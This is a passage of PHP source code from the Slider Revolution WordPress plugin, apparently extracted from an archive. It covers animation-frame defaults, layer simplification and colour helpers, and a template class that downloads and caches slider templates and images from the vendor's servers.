array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit') ); $_mask = array( 'x' => array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'), 'y' => array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit') ); $o['chars'] = $this->get_val($o, 'chars', array()); $o['words'] = $this->get_val($o, 'words', array()); $o['lines'] = $this->get_val($o, 'lines', array()); $o['mask'] = $this->get_val($o, 'mask', array()); $o['color'] = $this->get_val($o, 'color', array()); $o['bgcolor'] = $this->get_val($o, 'bgcolor', array()); $gs = $this->get_val($o, 'grayscale', $this->get_val($_base, array('grayscale', $f), 0)); $bs = $this->get_val($o, 'brightness', $this->get_val($_base, array('brightness', $f), 100)); $blr = $this->get_val($o, 'blur', $this->get_val($_base, array('blur', $f), 0)); $fuse = (intval($gs) !== 0 || intval($bs) !== 100 || intval($blr) !== 0) ? true : false; $frame = array( 'alias' => $this->get_val($o, 'alias', __('On Stage', 'revslider')), 'filter' => array( 'use' => $fuse, 'grayscale' => $gs, 'brightness' => $bs, 'blur' => $blr ), 'transform' => array( 'x' => $this->c_to_resp(array('default' => $this->get_val($o, 'x', $this->get_val($_base, array('x', $f), 0)))), 'y' => $this->c_to_resp(array('default' => $this->get_val($o, 'y', $this->get_val($_base, array('y', $f), 0)))), 'z' => $this->get_val($o, 'z', $this->get_val($_base, array('z', $f), 0)), 'scaleX' => $this->get_val($o, 'scaleX', $this->get_val($_base, array('scaleX', $f), 1)), 'scaleY' => $this->get_val($o, 'scaleY', $this->get_val($_base, array('scaleY', $f), 1)), 'opacity' => $this->get_val($o, 'opacity', $this->get_val($_base, array('opacity', $f), 1)), 'rotationX' => $this->get_val($o, 'rotationX', $this->get_val($_base, array('rotationX', $f), 0)), 'rotationY' => $this->get_val($o, 'rotationY', $this->get_val($_base, array('rotationY', $f), 0)), 'rotationZ' => $this->get_val($o, 'rotationZ', $this->get_val($_base, array('rotationZ', $f), 0)), 'skewX' => $this->get_val($o, 'skewX', $this->get_val($_base, array('skewX', $f), 0)), 'skewY' => $this->get_val($o, 'skewY', $this->get_val($_base, array('skewY', $f), 0)), 'originX' => $this->get_val($o, 'originX', $this->get_val($_base, array('originX', $f), '50%')), 'originY' => $this->get_val($o, 'originY', $this->get_val($_base, array('originY', $f), '50%')), 'originZ' => $this->get_val($o, 'originY', $this->get_val($_base, array('originZ', $f), '0')), 'transformPerspective' => $this->get_val($o, 'transformPerspective', $this->get_val($_base, array('transformPerspective', $f), '600px')), ), 'reverseDirection' => array( 'x' => $this->_truefalse($this->get_val($o, 'rx', false)), 'y' => $this->_truefalse($this->get_val($o, 'ry', false)), 'rotationX' => $this->_truefalse($this->get_val($o, 'rrotationX', false)), 'rotationY' => $this->_truefalse($this->get_val($o, 'rrotationY', false)), 'rotationZ' => $this->_truefalse($this->get_val($o, 'rrotationZ', false)), 'skewX' => $this->_truefalse($this->get_val($o, 'rskewX', false)), 'skewY' => $this->_truefalse($this->get_val($o, 'rskewY', false)), 'maskX' => $this->_truefalse($this->get_val($o, 'rmaskX', false)), 'maskY' => $this->_truefalse($this->get_val($o, 'rmaskY', false)), 'charsX' => $this->_truefalse($this->get_val($o, 'crx', false)), 'charsY' => $this->_truefalse($this->get_val($o, 'cry', false)), 'charsDirection' => $this->_truefalse($this->get_val($o, 'crsd', false)), 'wordsX' => $this->_truefalse($this->get_val($o, 'wrx', false)), 'wordsY' => $this->_truefalse($this->get_val($o, 'wry', false)), 'wordsDirection' => $this->_truefalse($this->get_val($o, 'wrsd', false)), 'linesX' => $this->_truefalse($this->get_val($o, 'lrx', false)), 'linesY' => $this->_truefalse($this->get_val($o, 'lry', false)), 'linesDirection' => $this->_truefalse($this->get_val($o, 'lrsd', false)), /*'z' => $this->get_val($o, 'rz', false), 'scaleX' => $this->get_val($o, 'rscaleX', false), */ ), 'mask' => array( 'use' => $this->_truefalse($this->get_val($o['mask'], 'use', false)), 'x' => $this->c_to_resp(array('default' => $this->get_val($o['mask'], 'x', $this->get_val($_mask, array('x', $f), 0)))), 'y' => $this->c_to_resp(array('default' => $this->get_val($o['mask'], 'y', $this->get_val($_mask, array('y', $f), 0)))) ), 'color' => array( 'color' => $this->get_val($o['color'], 'color', '#ffffff'), 'use' => $this->get_val($o['color'], 'use', false) ), 'bgcolor' => array( 'backgroundColor' => $this->get_val($o['bgcolor'], 'backgroundColor', 'transparent'), 'use' => $this->get_val($o['bgcolor'], 'use', false) ), 'timeline' => array( //'delay' => $this->get_val($o, 'delay', 1000), 'actionTriggered' => $this->get_val($o, 'actionTriggered', $this->get_val($_base, array('actionTriggered', $f), false)), 'ease' => $this->get_val($o, 'ease', $this->get_val($_base, array('ease', $f), '')), 'speed' => $this->get_val($o, 'speed', $this->get_val($_base, array('speed', $f), 300)), 'start' => $this->get_val($o, 'start', $this->get_val($_base, array('start', $f), 0)), 'startRelative' => $this->get_val($o, 'startRelative', 0), 'endWithSlide' => $this->get_val($o, 'endWithSlide', false) ), 'chars' => array( 'ease' => $this->get_val($o['chars'], 'ease', $this->get_val($_split, array('ease', $f), '')), 'use' => $this->get_val($o['chars'], 'use', false), 'direction' => $this->get_val($o['chars'], 'direction', $this->get_val($_split, array('direction', $f), '')), 'delay' => $this->get_val($o['chars'], 'delay', $this->get_val($_split, array('delay', $f), '')), 'x' => $this->c_to_resp(array('default' => $this->get_val($o['chars'], 'x', $this->get_val($_split, array('x', $f), 'inherit')))), 'y' => $this->c_to_resp(array('default' => $this->get_val($o['chars'], 'y', $this->get_val($_split, array('y', $f), 'inherit')))), 'z' => $this->get_val($o['chars'], 'z', $this->get_val($_split, array('z', $f), 'inherit')), 'scaleX' => $this->get_val($o['chars'], 'scaleX', $this->get_val($_split, array('scaleX', $f), 'inherit')), 'scaleY' => $this->get_val($o['chars'], 'scaleY', $this->get_val($_split, array('scaleY', $f), 'inherit')), 'opacity' => $this->get_val($o['chars'], 'opacity', 'inherit'), 'rotationX' => $this->get_val($o['chars'], 'rotationX', $this->get_val($_split, array('rotationX', $f), 'inherit')), 'rotationY' => $this->get_val($o['chars'], 'rotationY', $this->get_val($_split, array('rotationY', $f), 'inherit')), 'rotationZ' => $this->get_val($o['chars'], 'rotationZ', $this->get_val($_split, array('rotationZ', $f), 'inherit')), 'skewX' => $this->get_val($o['chars'], 'skewX', $this->get_val($_split, array('skewX', $f), 'inherit')), 'skewY' => $this->get_val($o['chars'], 'skewY', $this->get_val($_split, array('skewY', $f), 'inherit')), 'originX' => $this->get_val($o['chars'], 'originX', $this->get_val($_split, array('originX', $f), '50%')), 'originY' => $this->get_val($o['chars'], 'originY', $this->get_val($_split, array('originY', $f), '50%')), 'originZ' => $this->get_val($o['chars'], 'originY', $this->get_val($_split, array('originZ', $f), '0')), 'fuse' => $fuse, 'grayscale' => $gs, 'brightness' => $bs, 'blur' => $blr ), 'words' => array( 'ease' => $this->get_val($o['words'], 'ease', $this->get_val($_split, array('ease', $f), '')), 'use' => $this->get_val($o['words'], 'use', false), 'direction' => $this->get_val($o['words'], 'direction', $this->get_val($_split, array('direction', $f), '')), 'delay' => $this->get_val($o['words'], 'delay', $this->get_val($_split, array('delay', $f), '')), 'x' => $this->c_to_resp(array('default' => $this->get_val($o['words'], 'x', $this->get_val($_split, array('x', $f), 'inherit')))), 'y' => $this->c_to_resp(array('default' => $this->get_val($o['words'], 'y', $this->get_val($_split, array('y', $f), 'inherit')))), 'z' => $this->get_val($o['words'], 'z', $this->get_val($_split, array('z', $f), 'inherit')), 'scaleX' => $this->get_val($o['words'], 'scaleX', $this->get_val($_split, array('scaleX', $f), 'inherit')), 'scaleY' => $this->get_val($o['words'], 'scaleY', $this->get_val($_split, array('scaleY', $f), 'inherit')), 'opacity' => $this->get_val($o['words'], 'opacity', 'inherit'), 'rotationX' => $this->get_val($o['words'], 'rotationX', $this->get_val($_split, array('rotationX', $f), 'inherit')), 'rotationY' => $this->get_val($o['words'], 'rotationY', $this->get_val($_split, array('rotationY', $f), 'inherit')), 'rotationZ' => $this->get_val($o['words'], 'rotationZ', $this->get_val($_split, array('rotationZ', $f), 'inherit')), 'skewX' => $this->get_val($o['words'], 'skewX', $this->get_val($_split, array('skewX', $f), 'inherit')), 'skewY' => $this->get_val($o['words'], 'skewY', $this->get_val($_split, array('skewY', $f), 'inherit')), 'originX' => $this->get_val($o['words'], 'originX', $this->get_val($_split, array('originX', $f), '50%')), 'originY' => $this->get_val($o['words'], 'originY', $this->get_val($_split, array('originY', $f), '50%')), 'originZ' => $this->get_val($o['words'], 'originY', $this->get_val($_split, array('originZ', $f), '0')), 'fuse' => $fuse, 'grayscale' => $gs, 'brightness' => $bs, 'blur' => $blr ), 'lines' => array( 'ease' => $this->get_val($o['lines'], 'ease', $this->get_val($_split, array('ease', $f), '')), 'use' => $this->get_val($o['lines'], 'use', false), 'direction' => $this->get_val($o['lines'], 'direction', $this->get_val($_split, array('direction', $f), '')), 'delay' => $this->get_val($o['lines'], 'delay', $this->get_val($_split, array('delay', $f), '')), 'x' => $this->c_to_resp(array('default' => $this->get_val($o['lines'], 'x', $this->get_val($_split, array('x', $f), 'inherit')))), 'y' => $this->c_to_resp(array('default' => $this->get_val($o['lines'], 'y', $this->get_val($_split, array('y', $f), 'inherit')))), 'z' => $this->get_val($o['lines'], 'z', $this->get_val($_split, array('z', $f), 'inherit')), 'scaleX' => $this->get_val($o['lines'], 'scaleX', $this->get_val($_split, array('scaleX', $f), 'inherit')), 'scaleY' => $this->get_val($o['lines'], 'scaleY', $this->get_val($_split, array('scaleY', $f), 'inherit')), 'opacity' => $this->get_val($o['lines'], 'opacity', 'inherit'), 'rotationX' => $this->get_val($o['lines'], 'rotationX', $this->get_val($_split, array('rotationX', $f), 'inherit')), 'rotationY' => $this->get_val($o['lines'], 'rotationY', $this->get_val($_split, array('rotationY', $f), 'inherit')), 'rotationZ' => $this->get_val($o['lines'], 'rotationZ', $this->get_val($_split, array('rotationZ', $f), 'inherit')), 'skewX' => $this->get_val($o['lines'], 'skewX', $this->get_val($_split, array('skewX', $f), 'inherit')), 'skewY' => $this->get_val($o['lines'], 'skewY', $this->get_val($_split, array('skewY', $f), 'inherit')), 'originX' => $this->get_val($o['lines'], 'originX', $this->get_val($_split, array('originX', $f), '50%')), 'originY' => $this->get_val($o['lines'], 'originY', $this->get_val($_split, array('originY', $f), '50%')), 'originZ' => $this->get_val($o['lines'], 'originY', $this->get_val($_split, array('originZ', $f), '0')), 'fuse' => $fuse, 'grayscale' => $gs, 'brightness' => $bs, 'blur' => $blr ), 'sfx' => array( 'effect' => $this->get_val($o, 'effect', ''), 'color' => $this->get_val($o, 'sfxcolor', '#ffffff') ) ); /*if(isset($frame['actionTriggered'])){ $frame['timeline']['actionTriggered'] = $frame['actionTriggered']; }*/ //only for frame_999 currently if($this->get_val($o, 'animation', false) === 'auto'){ $frame['timeline']['auto'] = true; } if($frame['sfx']['effect'] === 'blockfrombottom'){ $frame['sfx']['effect'] = 'blocktotop'; }elseif($frame['sfx']['effect'] === 'blockfromtop'){ $frame['sfx']['effect'] = 'blocktobottom'; }elseif($frame['sfx']['effect'] === 'blockfromleft'){ $frame['sfx']['effect'] = 'blocktoright'; }elseif($frame['sfx']['effect'] === 'blockfromright'){ $frame['sfx']['effect'] = 'blocktoleft'; }else{ $frame['sfx']['effect'] = 'none'; } //add to all origins a % if no % or px is set $check = array('originX', 'originY', 'originZ'); $path = array('transform', 'chars', 'words', 'lines'); foreach($path as $_path){ foreach($check as $_check){ if(strpos($frame[$_path][$_check], '%') !== false) continue; if(strpos(strtolower($frame[$_path][$_check]), 'px') !== false) continue; $frame[$_path][$_check] .= '%'; } } /** * we need to overwrite values here once again * @added because of animations, to change i.e. 'inherit' of default old to the needed value **/ if(!empty($overwrite_with)){ $_ign = array('ease', 'speed', 'delay', 'direction', 'color'); //ignore these values and do not take them from the animation template foreach($overwrite_with as $ok => $oval){ if(!isset($frame[$ok])) $frame[$ok] = array(); if(is_array($oval)){ if(!empty($oval)){ foreach($oval as $k => $v){ if(in_array($k, $_ign)){ if($k == 'color'){ //ignore color only in sfx path if($ok == 'sfx') continue; }else{ continue; } } $frame[$ok][$k] = $v; } } }else{ if(in_array($ok, $_ign)) continue; $frame[$ok] = $oval; } } } return $frame; } public function conv_perc_vals($x){ if(!is_numeric($x) && $x !== false && $x !== NULL && $x !== true && strpos($x, '%]') !== false){ //x.split("[")[1].split("]")[0]; $a = explode('[', $x); if(isset($a[1])){ $a = explode(']', $a[1]); $x = $a[0]; } } return $x; } public function c_to_v_and_u($_){ $newObj = array('v' => $_['default'], 'u' => $_['u']); $newObj['v'] = (!isset($_['val'])) ? $newObj['v'] : $_['val']; $i = 0; if(is_object($newObj['v']) || is_array($newObj['v'])){ foreach($newObj['v'] as $vi => $nov){ if(!is_numeric($nov)){ if($i == 0 && strpos($nov, 'px') !== false){ $newObj['u'] = 'px'; }elseif($i == 0 && strpos($nov, '%') !== false){ $newObj['u'] = '%'; } //$newObj['u'] = ($i == 0 && strpos($nov, 'px') !== false) ? 'px' : ($i == 0 && strpos($nov, '%') !== false) ? '%' : $newObj['u']; $newObj['v'][$vi] = intval(str_replace(array('%', 'px'), '', $nov)) . $newObj['u']; $i++; } } }else{ if(!is_numeric($newObj['v'])){ if(strpos($newObj['v'], 'px') !== false){ $newObj['u'] = 'px'; }elseif(strpos($newObj['v'], '%') !== false){ $newObj['u'] = '%'; } //$newObj['u'] = (strpos($newObj['v'], 'px') !== false) ? 'px' : (strpos($newObj['v'], '%') !== false) ? '%' : $newObj['u']; $newObj['v'] = intval(str_replace(array('%', 'px'), '', $newObj['v'])) . $newObj['u']; } } return $newObj; } /* CREATE A DEFAULT FRAME OBJECT */ public function default_loop_frame($o = array()){ $o['frame_0'] = $this->get_val($o, 'frame_0', array()); $o['frame_999'] = $this->get_val($o, 'frame_999', array()); $loop = array( 'use' => $this->get_val($o, 'use', false), 'radiusAngle' => $this->get_val($o, 'radiusAngle', 0), 'curviness' => $this->get_val($o, 'curviness', 2), 'curved' => $this->get_val($o, 'curved', false), 'yoyo_move' => $this->get_val($o, 'yoyo_move', false), 'yoyo_rotate' => $this->get_val($o, 'yoyo_rotate', false), 'yoyo_scale' => $this->get_val($o, 'yoyo_scale', false), 'yoyo_filter' => $this->get_val($o, 'yoyo_filter', false), 'repeat' => $this->get_val($o, 'repeat', '-1'), 'start' => $this->get_val($o, 'start', 740), 'autoRotate' => $this->get_val($o, 'autoRotate', false), 'frame_0' => array( 'zr' => $this->get_val($o, array('frame_0', 'zr'), 0), 'z' => $this->get_val($o, array('frame_0', 'z'), 0), 'opacity' => $this->get_val($o, array('frame_0', 'opacity'), 1), 'rotationX' => $this->get_val($o, array('frame_0', 'rotationX'), 0), 'rotationY' => $this->get_val($o, array('frame_0', 'rotationY'), 0), 'skewX' => $this->get_val($o, array('frame_0', 'skewX'), 0), 'skewY' => $this->get_val($o, array('frame_0', 'skewY'), 0), 'blur' => 0, 'brightness' => 100, 'grayscale' => 0 ), 'frame_999' => array( 'zr' => $this->get_val($o, array('frame_999', 'zr'), 0), 'z' => $this->get_val($o, array('frame_999', 'z'), 0), 'opacity' => $this->get_val($o, array('frame_999', 'opacity'), 1), 'rotationX' => $this->get_val($o, array('frame_999', 'rotationX'), 0), 'rotationY' => $this->get_val($o, array('frame_999', 'rotationY'), 0), 'skewX' => $this->get_val($o, array('frame_999', 'skewX'), 0), 'skewY' => $this->get_val($o, array('frame_999', 'skewY'), 0), 'blur' => 0, 'brightness' => 100, 'grayscale' => 0 ) ); //add values depending on the selected animation $loop['speed'] = $this->get_val($o, 'speed', 1000); switch($this->get_val($o, 'loop_animation')){ case 'rs-pendulum': case 'rs-rotate': $loop['ease'] = $this->get_val($o, 'ease', 'none'); $loop['frame_0']['rotationZ'] = $this->get_val($o, array('frame_0', 'rotationZ'), 0); $loop['frame_999']['rotationZ'] = $this->get_val($o, array('frame_999', 'rotationZ'), 0); $loop['originX'] = $this->get_val($o, 'originX', '50%'); $loop['originY'] = $this->get_val($o, 'originY', '50%'); break; case 'rs-slideloop': $loop['ease'] = $this->get_val($o, 'ease', 'none'); $loop['frame_0']['x'] = $this->get_val($o, array('frame_0', 'x'), 0); $loop['frame_999']['x'] = $this->get_val($o, array('frame_999', 'x'), 0); $loop['frame_0']['y'] = $this->get_val($o, array('frame_0', 'y'), 0); $loop['frame_999']['y'] = $this->get_val($o, array('frame_999', 'y'), 0); break; case 'rs-pulse': $loop['ease'] = $this->get_val($o, 'ease', 'none'); $loop['frame_0']['scaleX'] = $this->get_val($o, array('frame_0', 'scaleX'), 1); $loop['frame_0']['scaleY'] = $this->get_val($o, array('frame_0', 'scaleX'), 1); $loop['frame_999']['scaleX'] = $this->get_val($o, array('frame_999', 'scaleX'), 1); $loop['frame_999']['scaleY'] = $this->get_val($o, array('frame_999', 'scaleY'), 1); break; case 'rs-wave': $loop['frame_0']['xr'] = $this->get_val($o, array('frame_0', 'xr'), 0); $loop['frame_0']['yr'] = $this->get_val($o, array('frame_0', 'yr'), 0); $loop['frame_999']['xr'] = $this->get_val($o, array('frame_999', 'xr'), 0); $loop['frame_999']['yr'] = $this->get_val($o, array('frame_999', 'yr'), 0); $loop['originX'] = $this->get_val($o, 'originX', '50%'); $loop['originY'] = $this->get_val($o, 'originY', '50%'); break; } return $loop; } /** * compare and remove unneeded defaults **/ public function _compare($emp, $o){ if(!empty($o)){ if(is_array($o) || is_object($o)){ $o = (array)$o; $emp = (array)$emp; foreach($o as $key => $v){ /** * Little hacks to modify if/if not things need to be deleted **/ if($key === 'frameOrder' || $key === 'alias' || $key === 'intelligentInherit'){ //with in_array we receive unexpected results continue; } if($this->upgrade_layer_type === 'shape'){ if($this->current_parent === 'idle'){ if($key === 'backgroundColor'){ //leave it as it is continue; } } } /** * END OF * Little hacks to modify if/if not things need to be deleted **/ if(!is_array($o[$key]) && !is_object($o[$key])){ $check = $this->get_val($emp, $key); //if($check == $o[$key]){ //before the int(0) is same as '##' issue, this line was active if(!is_array($check) && !is_object($check) && (string)$check == (string)$o[$key]){ //int(0) is same as '##', so check by casting them to string //if($check === false && $o[$key] === false || $check === true && $o[$key] === true){ //}else{ unset($o[$key]); //} } }elseif($this->get_val($emp, $key, '######') !== '######'){ if(in_array($key, array('v', 'borderWidth'), true) && is_array($o[$key])){ if(json_encode($emp[$key]) == json_encode($o[$key])){ unset($o[$key]); } }else{ if($key === 'idle'){ //we check for idle, as we want to leave backgroundColor within idle $this->current_parent = $key; } $o[$key] = $this->_compare($emp[$key], $o[$key]); //, $d if($key === 'idle'){ //we check for idle, as we want to leave backgroundColor within idle and we can set it only back to false if we are out of the idle tree $this->current_parent = false; } } //CHECK IF OBJECT IS EMPTY ? if($this->isEmptyObject($this->get_val($o, $key, ''))){ unset($o[$key]); } } } } } return $o; } /** * simplify layer, by removing all default values **/ public function _simplify_layers($_, $slide, $slider){ if(in_array($this->get_val($_, 'uid', false), array('top', 'bottom', 'middle', 'zone'))) return $_; if(in_array($this->get_val($_, 'type', false), array('top', 'bottom', 'middle', 'zone'))) return $_; $type = $this->get_val($_, 'type'); $__ = array('type' => $type); if(!isset($this->blank_layer[$type])){ $_z_index = $this->z_index; $this->z_index = '##'; //temporary push a none existand zindex, so that the blank layer will not delete the zindex $this->blank_layer[$type] = $this->migrate_layer_to_6_0($__, true, $slide, $slider); $this->z_index = $_z_index; } $this->upgrade_layer_type = $type; $layer = $this->_compare($this->blank_layer[$type], $_); $layer['type'] = $this->get_val($_, 'type'); return $layer; } /** * simplify layer, by removing all default values **/ public function _simplify_slides($_){ $_slide = new RevSliderSlide(); if($this->blank_slide === false){ $this->blank_slide = $this->migrate_slide_to_6_0($_slide); $this->blank_slide['version'] = $this->revision; } if($_ instanceof RevSliderSlide){ $params = $_->get_params(); }else{ $params = $_; } $slide = $this->_compare($this->blank_slide, $params); return $slide; } /** * Check if it is an empty array or object * @since: 6.0.0 **/ public function isEmptyObject($vars){ //object //$vars = get_object_vars($object); if(empty($vars) && $vars !== 0){ // && $vars !== false //if(!is_array($vars) && !is_object($vars) && trim($vars) === '' && $vars !== 0){ return true; }else{ $vars = (array)$vars; foreach($vars as $var){ if(!is_array($var)){ //!is_object($var) && return false; }else{ return $this->isEmptyObject($var); } } } } /** * get transparency from rgba * @since: 5.0 */ public function get_trans_from_rgba($rgba, $in_percent = false){ if(strtolower($rgba) == 'transparent') return 100; $temp = explode(',', $rgba); if(count($temp) == 4){ return ($in_percent) ? preg_replace('/[^\d.]/', '', $temp[3]) : preg_replace('/[^\d.]/', "", $temp[3]) * 100; } return 100; } /** * change rgba to hex * @since: 5.0 * @moved: 6.1.3 */ public function rgba2hex($rgba){ if(strtolower($rgba) == 'transparent') return $rgba; $temp = explode(',', $rgba); $rgb = array(); if(count($temp) == 4) unset($temp[3]); foreach($temp as $val){ $t = dechex(preg_replace('/[^\d.]/', '', $val)); if(strlen($t) < 2) $t = '0'.$t; $rgb[] = $t; } return '#'.implode('', $rgb); } } admin/includes/template.class.php000060400000076436151724235750013121 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderTemplate extends RevSliderFunctions { private $templates_list = 'revslider/get-list.php'; private $templates_download = 'revslider/download.php'; public $templates_server_path = '/revslider/images/'; private $templates_path = '/revslider/templates/'; private $curl_check = null; const SHOP_VERSION = '2.0'; /** * Download template by UID (also validates if download is legal) * @since: 5.0.5 */ public function _download_template($uid){ $rslb = RevSliderGlobals::instance()->get('RevSliderLoadBalancer'); $return = false; $uid = $this->clear_uid($uid); $uid = esc_attr($uid); $code = (get_option('revslider-valid', 'false') == 'false') ? '' : get_option('revslider-code', ''); $upload_dir = wp_upload_dir(); // Set upload folder // Check folder permission and define file location if(wp_mkdir_p($upload_dir['basedir'].$this->templates_path)){ //check here to not flood the server $data = array( 'code' => urlencode($code), 'shop_version' => urlencode(self::SHOP_VERSION), 'version' => urlencode(RS_REVISION), 'uid' => urlencode($uid), 'product' => urlencode(RS_PLUGIN_SLUG) ); $request = $rslb->call_url($this->templates_download, $data, 'templates'); if(!is_wp_error($request)){ if($response = $this->get_val($request, 'body')){ if($response !== 'invalid'){ //add stream as a zip file $file = $upload_dir['basedir']. $this->templates_path . '/' . $uid.'.zip'; @mkdir(dirname($file)); $ret = @file_put_contents( $file, $response ); if($ret !== false){ //return $file so it can be processed. We have now downloaded it into a zip file $return = $file; }else{//else, print that file could not be written $return = array('error' => __('Can\'t write the file into the uploads folder of WordPress, please change permissions and try again!', 'revslider')); } }else{ $error = ($this->get_addition('selling') === true) ? __('License Key is invalid', 'revslider') : __('Purchase Code is invalid', 'revslider'); $return = array('error' => $error); } } }else{//else, check for error and print it to customer $return = array('error' => __('Can\'t connect programatically to the ThemePunch servers, please check your webserver settings', 'revslider')); } }else{ $return = array('error' => __('Can\'t write into the uploads folder of WordPress, please change permissions and try again!', 'revslider')); } return $return; } /** * Delete the Template file * @since: 5.0.5 */ public function _delete_template($uid){ $uid = $this->clear_uid($uid); $uid = esc_attr($uid); $upload_dir = wp_upload_dir(); //Set upload folder // Check folder permission and define file location if(wp_mkdir_p($upload_dir['basedir'] . $this->templates_path)){ $file = $upload_dir['basedir'] . $this->templates_path . '/' . $uid.'.zip'; if(file_exists($file)){ //delete file return unlink($file); } } return false; } /** * Get the Templatelist from servers * @since: 5.0.5 */ public function _get_template_list($force = false){ $rslb = RevSliderGlobals::instance()->get('RevSliderLoadBalancer'); $last_check = get_option('revslider-templates-check'); if($last_check == false){ //first time called $last_check = 172801; update_option('revslider-templates-check', time()); } // Get latest Templates if(time() - $last_check > 345600 || $force == true){ //4 days update_option('revslider-templates-check', time()); $hash = ($force === true) ? '' : get_option('revslider-templates-hash', ''); $code = (get_option('revslider-valid', 'false') == 'false') ? '' : get_option('revslider-code', ''); $data = array( 'code' => urlencode($code), 'shop_version' => urlencode(self::SHOP_VERSION), 'hash' => urlencode($hash), 'version' => urlencode(RS_REVISION), 'product' => urlencode(RS_PLUGIN_SLUG) ); $request = $rslb->call_url($this->templates_list, $data, 'templates'); if(!is_wp_error($request)){ if($response = maybe_unserialize($request['body'])){ $templates = json_decode($response, true); if(is_array($templates)){ if(isset($templates['hash'])) update_option('revslider-templates-hash', $templates['hash']); $templates = $this->do_compress($templates); $upd = update_option('rs-templates-new', $templates, false); } } } $this->update_template_list(); } } /** * Update the Templatelist, move rs-templates-new into rs-templates * @since: 5.0.5 */ private function update_template_list(){ $new = get_option('rs-templates-new', false); $new = $this->do_uncompress($new); $cur = get_option('rs-templates', false); $cur = $this->do_uncompress($cur); $counter = 0; if($new !== false && !empty($new) && is_array($new)){ if(empty($cur)){ $cur = $new; $counter = (isset($cur['slider']) && is_array($cur['slider'])) ? count($cur['slider']) : $counter; }else{ if(isset($new['slider']) && is_array($new['slider'])){ if(isset($cur['slider']) && is_array($cur['slider']) && isset($new['slider']) && is_array($cur['slider'])){ $_n = count($new['slider']); $_c = count($cur['slider']); $counter = ($_n > $_c) ? $_n - $_c : $counter; } foreach($new['slider'] as $n){ $found = false; if(isset($cur['slider']) && is_array($cur['slider'])){ foreach($cur['slider'] as $ck => $c){ if($c['uid'] == $n['uid']){ if(version_compare($c['version'], $n['version'], '<')){ $n['is_new'] = true; $n['push_image'] = true; //push to get new image and replace } if(isset($c['is_new'])) $n['is_new'] = true; //is_new will stay until update is done $n['exists'] = true; //if this flag is not set here, the template will be removed from the list if(isset($n['new_slider'])){ unset($n['new_slider']); //remove this again, as the new flag should be removed now } $cur['slider'][$ck] = $n; $found = true; break; } } } if(!$found){ $n['exists'] = true; $n['new_slider'] = true; $cur['slider'][] = $n; } } foreach($cur['slider'] as $ck => $c){ //remove no longer available Slider if(!isset($c['exists'])){ unset($cur['slider'][$ck]); }else{ unset($cur['slider'][$ck]['exists']); } } $cur['slides'] = $new['slides']; // push always all slides } } $cur = $this->do_compress($cur); update_option('rs-templates', $cur, false); update_option('rs-templates-new', false, false); //$this->_update_images(); } update_option('rs-templates-counter', $counter, false); } /** * Remove the is_new attribute which shows the "update available" button * @since: 5.0.5 */ public function remove_is_new($uid){ $cur = get_option('rs-templates', false); $cur = $this->do_uncompress($cur); if(is_array($cur) && isset($cur['slider']) && is_array($cur['slider'])){ foreach($cur['slider'] as $ck => $c){ if($c['uid'] == $uid){ unset($cur['slider'][$ck]['is_new']); break; } } } $cur = $this->do_compress($cur); update_option('rs-templates', $cur, false); } /** * Update the Images get them from Server and check for existance on each image * @since: 5.0.5 * @param bool $img */ private function _update_images($img = false){ $rslb = RevSliderGlobals::instance()->get('RevSliderLoadBalancer'); $templates = get_option('rs-templates', false); $templates = $this->do_uncompress($templates); $chk = $this->check_curl_connection(); $curl = ($chk) ? new WP_Http_Curl() : false; $url = $rslb->get_url('templates', 0, true); $reload = array(); $loaded = false; if(!empty($templates) && is_array($templates)){ $upload_dir = wp_upload_dir(); // Set upload folder if(!empty($templates['slider']) && is_array($templates['slider'])){ foreach($templates['slider'] as $key => $temp){ if($img !== false){ //we want to download a certain image, check for it if($this->get_val($temp, 'img') !== $img) continue; } // Check folder permission and define file location if(wp_mkdir_p($upload_dir['basedir']. $this->templates_path)){ $file = $upload_dir['basedir'] . $this->templates_path . '/' . $temp['img']; if(!file_exists($file) || isset($temp['push_image'])){ if($curl !== false){ $done = false; $count = 0; do{ $image_data = @$curl->request($url.'/'.$this->templates_server_path.$temp['img']); // Get image data if(!is_wp_error($image_data) && isset($image_data['body']) && isset($image_data['response']) && isset($image_data['response']['code']) && $image_data['response']['code'] == '200'){ $image_data = $image_data['body']; $done = true; }else{ $image_data = false; $rslb->move_server_list(); $url = $rslb->get_url('templates', 0, true); } $count++; }while($done == false && $count < 5); }else{ $count = 0; do{ $image_data = @file_get_contents($url.'/'.$this->templates_server_path.$temp['img']); // Get image data if($image_data == false){ $rslb->move_server_list(); $url = $rslb->get_url('templates', 0, true); } $count++; }while($image_data == false && $count < 5); } if($image_data !== false){ $reload[$temp['alias']] = true; unset($templates['slider'][$key]['push_image']); if(!is_dir(dirname($file))){ mkdir(dirname($file), 0777, true); } @file_put_contents($file, $image_data); $loaded = $file; } }else{//use default image } }else{//use default images } } } if($loaded === false){ if(!empty($templates['slides']) && is_array($templates['slides'])){ foreach($templates['slides'] as $key => $temp){ foreach($temp as $k => $tvalues){ if($img !== false){ //we want to download a certain image, check for it if($this->get_val($tvalues, 'img') !== $img) continue; } // Check folder permission and define file location if(wp_mkdir_p($upload_dir['basedir']. $this->templates_path)){ $file = $upload_dir['basedir'] . $this->templates_path . '/' . $tvalues['img']; if(!file_exists($file) || isset($reload[$key])){ //update, so load again if($curl !== false){ //curl_setopt( $curl, CURLOPT_CAINFO, RS_PLUGIN_PATH.'cert.crt'); //'sslcertificates' $done = false; $count = 0; do{ $image_data = @$curl->request($url.'/'.$this->templates_server_path.$tvalues['img']); // Get image data if(!is_wp_error($image_data) && isset($image_data['body']) && isset($image_data['response']) && isset($image_data['response']['code']) && $image_data['response']['code'] == '200'){ $image_data = $image_data['body']; $done = true; }else{ $image_data = false; $rslb->move_server_list(); $url = $rslb->get_url('templates', 0, true); } $count++; }while($done == false && $count < 5); }else{ $count = 0; do{ $image_data = @file_get_contents($url.'/'.$this->templates_server_path.$tvalues['img']); // Get image data if($image_data == false){ $rslb->move_server_list(); $url = $rslb->get_url('templates', 0, true); } $count++; }while($image_data == false && $count < 5); } if($image_data !== false){ if(!is_dir(dirname($file))){ mkdir(dirname($file), 0777, true); } file_put_contents($file, $image_data); } } } } } } } } $templates = $this->do_compress($templates); update_option('rs-templates', $templates, false); //remove the push_image } /** * Copy a Slide to the Template Slide list * @since: 5.0 * @before: RevSliderTemplate::copySlideToTemplates() 